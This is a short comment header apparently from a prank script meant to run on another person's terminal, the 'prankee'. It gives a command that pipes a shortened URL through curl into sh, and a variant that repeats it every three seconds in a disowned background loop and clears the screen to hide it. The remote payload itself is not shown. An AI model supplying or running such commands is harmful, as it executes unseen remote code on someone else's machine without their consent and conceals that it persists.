# some shortcomings:
# - prankee needs to be running rvm, rbenv, or some other
# ruby version manager that doesn't require sudo permissions to
# install gems.
# - can be killed by simply closing current tab/session
#
# Any bug reports or suggestions on improvements are welcome!
#
# Execute by running:
# curl -sL https://goo.gl/WpRkMx | sh
#
# if you want it to run continuously, every 3 seconds or so:
# ( while true; do sleep 3; curl -sL https://goo.gl/WpRkMx | sh; done ) & disown && clear
